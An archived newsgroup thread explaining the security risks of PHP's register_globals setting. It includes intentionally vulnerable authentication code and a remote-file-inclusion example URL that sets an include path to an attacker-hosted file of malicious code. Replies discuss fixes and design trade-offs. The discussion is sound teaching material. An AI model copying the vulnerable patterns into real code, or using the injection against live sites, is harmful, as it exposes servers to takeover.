Question about register_globals in php.ini

[lian]

Hi all,
I have installed a web-based software written in php which needs
that i should turn "register_globals" from off to on in the php.ini.

There are some comments for register_globals in php.ini saying: "You
should do your best to write your scripts so that they do not require
register_globals to be on; Using form variables as globals can easily
lead to possible security problems, if the code is not very well thought
of."

Since there are other php programs running on the same server, i do
care this comments very much.

Can someone give me some hints what is this *possible* security
problem if i turn the register_globals "on"? And what should i pay
attention when writing my own php program on a "register_globals on"
server to avoid some attack?
Thanks in advance!

Lian

[Pedro Graca]

lian wrote:

I have installed a web-based software written in php which needs
that i should turn "register_globals" from off to on in the php.ini.
You probably can do that in a .htaccess file (in the directory that
software is put to) instead of changing the global php.ini.
Can someone give me some hints what is this *possible* security
problem if i turn the register_globals "on"? And what should i pay
attention when writing my own php program on a "register_globals on"
server to avoid some attack?

Initialize *all* variables and register_globals no longer has any
security impact for your code.

Setting errorlevel to include notices (about using uninitialized
variables) is also a Good Thing.
Suppose you have a form that sends a username and password to the server
for validation. Bad (exploitable) code relying on register_globals could
then be:

<?php /* bad code: DO NOT DUPLICATE */
/* $username and $password have been automatically created */
/* because register_globals is on */
if (($username == 'admin') && ($password == 'SeCReT')) {
$admin = true;
}

/* no initialization for $admin */
/* also relies on the fact that the first use of a variable */
/* sets it to 0 or false (after issuing a notice that is */
/* usually ignored) */
if ($admin) {
/* do admin stuff */
}
?>

When some hacker changes the form (or URL) to also send the 'admin'
value, he'll get access to the admin stuff without knowing the
password.
By just inserting

$admin = false;

before any use of the variable (like the beginning of the script) you
avoid that security risk.

<?php
error_reporting(E_ALL);
ini_set('display_errors', '1');
$admin = false; /* initialize $admin */

/* $username and $password have been automatically created */
/* because register_globals is on */
if (($username == 'admin') && ($password == 'SeCReT')) {
$admin = true;
}

/* initialization done for $admin */
if ($admin) {
/* do admin stuff */
}
?>
--
Mail to my "From:" address is readable by all at http://www.dodgeit.com/
== ** ## !! ------------------------------------------------ !! ## ** ==
TEXT-ONLY mail to the whole "Reply-To:" address ("My Name" <my@address>)
may bypass my spam filter. If it does, I may reply from another address!

[Chung Leong]

"Pedro Graca" <he****@dodgeit.com> wrote in message
news:sl*******************@ID-203069.user.uni-berlin.de...

lian wrote:

I have installed a web-based software written in php which needs
that i should turn "register_globals" from off to on in the php.ini.

You probably can do that in a .htaccess file (in the directory that
software is put to) instead of changing the global php.ini.

Can someone give me some hints what is this *possible* security
problem if i turn the register_globals "on"? And what should i pay
attention when writing my own php program on a "register_globals on"
server to avoid some attack?

Initialize *all* variables and register_globals no longer has any
security impact for your code.

That statement is a little misleading. Yes, register_globals would not
promise your system if all global variables are initialized. Initializing
all global variables does not guarantee that would happen, however. If you
do not fully control your execution path, then your initialization code
could be bypassed.

This bring us back to the "why single entry point systems suck" discussion.
If the initialization of globals happen at the designated entry point, and
there exist in the application other unintended entry points (a very common
mistake), then register_globals becomes extremely dangerous. The example
below demonstrate the prototypical register_globals vulnerability.

In web application X, all pages are accessed through controller.php. This
script looks at a GET variable to determine which page to display.
Configuration information is stored in a file called config.php.

config.php:
<?
$CLASS_PATH = "/usr/lib/scripting/php/classes";
$DB_USER = "satan";
$DB_NAME = "hell";
/* other variables */
?>

controller.php:
<?

require("config.php");
require("header.php");

switch($_GET['section']) {
case 'forum': require("forum.php"); break;
case 'about': require("about.php"); break;
/* other pages */
default: require("main.php");
}

require("footer.php");

?>

forum.php:
<?

require("$CLASS_PATH/UI.View.Message.php");
require("$CLASS_PATH/UI.View.MessageThread.php");
require("$CLASS_PATH/UI.Widget.HTMLEditor.php");

/* do stuff */

?>

The vulnerability is in forum.php. Even through controller.php is the page
that people are supposed to go through, nothing stops them from accessing
forum.php directly, in which case $CLASS_PATH is no longer initialized. And
as you know, require() can read files from a remote source. So an attacker
can inject arbituary PHP code into the script with this URL:

http://www.hell.uz/forum.php?CLASS_P...666.28/dk.txt?

where dk.txt, sitting on the attacker's server, holds the malicious code.

The real design flaw here is allowing remote require/include. Instead of
fixing that the PHP team decided to banish register_globals. Oh well.

[Daniel Tryba]

Chung Leong <ch***********@hotmail.com> wrote:
[snip]

The vulnerability is in forum.php. Even through controller.php is the page
that people are supposed to go through, nothing stops them from accessing
forum.php directly, in which case $CLASS_PATH is no longer initialized. And
as you know, require() can read files from a remote source. So an attacker
can inject arbituary PHP code into the script with this URL:

http://www.hell.uz/forum.php?CLASS_P...666.28/dk.txt?

where dk.txt, sitting on the attacker's server, holds the malicious code.

The real design flaw here is allowing remote require/include.

And the real _design_ flaw in the snipped code is that files that are
only intended for include()s can be directly called by a client. They
should be stored somewhere outside the "documentroot" or simular
solutions.

[Chung Leong]

"lian" <np***@ming.com> wrote in message
news:32*************@individual.net...

Hi all,
I have installed a web-based software written in php which needs
that i should turn "register_globals" from off to on in the php.ini.

There are some comments for register_globals in php.ini saying: "You
should do your best to write your scripts so that they do not require
register_globals to be on; Using form variables as globals can easily
lead to possible security problems, if the code is not very well thought
of."

Since there are other php programs running on the same server, i do
care this comments very much.

Can someone give me some hints what is this *possible* security
problem if i turn the register_globals "on"? And what should i pay
attention when writing my own php program on a "register_globals on"
server to avoid some attack?
Thanks in advance!

Lian

See if the application uses a globally included file. If it does, then add
the following lines at the top to simulate register_globals:

extract($_REQUEST);
extract($_ENV);
extract($_SERVER);

If it doesn't, it's also not that hard to add them to every file :-)

I would advise against turning on register_globals if you're using other PHP
apps. If they're popular packages and they're not secured in a
register_globals on environment, then chances are there're automated attacks
exploiting any vulnerability. The next thing you know your server will be
spewing out gigabytes of spam. As for this application itself, if it uses a
single entry point system, then don't use it. Read my other message for an
explanation.

[Michael Fesser]

.oO(Chung Leong)

The vulnerability is in forum.php. Even through controller.php is the page
that people are supposed to go through, nothing stops them from accessing
forum.php directly,
Not PHP's fault.
in which case $CLASS_PATH is no longer initialized. And
as you know, require() can read files from a remote source.
If enabled.
So an attacker
can inject arbituary PHP code into the script with this URL:

http://www.hell.uz/forum.php?CLASS_P...666.28/dk.txt?

where dk.txt, sitting on the attacker's server, holds the malicious code.

The real design flaw here is allowing remote require/include. Instead of
fixing that the PHP team decided to banish register_globals. Oh well.

The problem is not the remote execution, but simply the programmer's
mistake. If you want to have a single-entry application then you have to
make sure that there are definitely no other entry points. In your
example the forum.php should not be accessible with an URL. If it is
then you have to live with the consequences.

PHP just offers the tools, whether you build something useful or a time
bomb with it is up to you.

Micha

[Chung Leong]

"Michael Fesser" <ne*****@gmx.net> wrote in message
news:rs********************************@4ax.com...

.oO(Chung Leong)

The vulnerability is in forum.php. Even through controller.php is the pagethat people are supposed to go through, nothing stops them from accessing
forum.php directly,
Not PHP's fault.

I'm not saying it is.

in which case $CLASS_PATH is no longer initialized. And
as you know, require() can read files from a remote source.

If enabled.

As far as I know there's no way to disable remote file access for require()
and include() only. In most PHP setups therefore it is enabled, as
file("http://...") is such a commonly operation.

Security of an application shouldn't be reliant on server set up anyway. It
should be built into the code.

So an attacker
can inject arbituary PHP code into the script with this URL:

http://www.hell.uz/forum.php?CLASS_P...666.28/dk.txt?

where dk.txt, sitting on the attacker's server, holds the malicious code.

The real design flaw here is allowing remote require/include. Instead of
fixing that the PHP team decided to banish register_globals. Oh well.

The problem is not the remote execution, but simply the programmer's
mistake. If you want to have a single-entry application then you have to
make sure that there are definitely no other entry points. In your
example the forum.php should not be accessible with an URL. If it is
then you have to live with the consequences.

The mistake is using a single-entry point system. Or to be more specific,
the mistake is executing code in the global scope in files that are not
meant to be accessed. If your include files contain only function and class
definitions, then you wouldn't have a problem even if they reside in a web
accessible directory.
PHP just offers the tools, whether you build something useful or a time
bomb with it is up to you.

Outlook is also just a tool.

[Michael Fesser]

.oO(Chung Leong)

The problem is not the remote execution, but simply the programmer's
mistake. If you want to have a single-entry application then you have to
make sure that there are definitely no other entry points. In your
example the forum.php should not be accessible with an URL. If it is
then you have to live with the consequences.
The mistake is using a single-entry point system.

I don't consider that a real problem if done properly (even if I don't
like it).
Or to be more specific,
the mistake is executing code in the global scope in files that are not
meant to be accessed. If your include files contain only function and class
definitions, then you wouldn't have a problem even if they reside in a web
accessible directory.

OK, but why would you want to have files in a web accessible directory
that are not meant for direct access? If I don't want people accessing
certain files then I simply don't provide that possibility.

PHP just offers the tools, whether you build something useful or a time
bomb with it is up to you.

Outlook is also just a tool.

Yep, for spreading viruses. SCNR ;)

Micha

[Brion Vibber]

Michael Fesser wrote:

.oO(Chung Leong)

Or to be more specific,
the mistake is executing code in the global scope in files that are not
meant to be accessed. If your include files contain only function and class
definitions, then you wouldn't have a problem even if they reside in a web
accessible directory.

OK, but why would you want to have files in a web accessible directory
that are not meant for direct access? If I don't want people accessing
certain files then I simply don't provide that possibility.

A legitimate reason is that you're distributing the scripts as an
archive that's runnable in-place after extraction.

People installing the software might or might not _have_ a usable area
outside their web root, and if they do it will require extra work to set
it up. Putting include files into a subdirectory is easier to get
working out of the box (and thus reduces the support burden from
third-party users), but you may not be able to guarantee that it's
sealed off from access.

As a precaution, you can toss in a default .htaccess file which will
block off the directory on some Apache configurations, but not all
configurations will allow it.

-- brion vibber (brion @ pobox.com)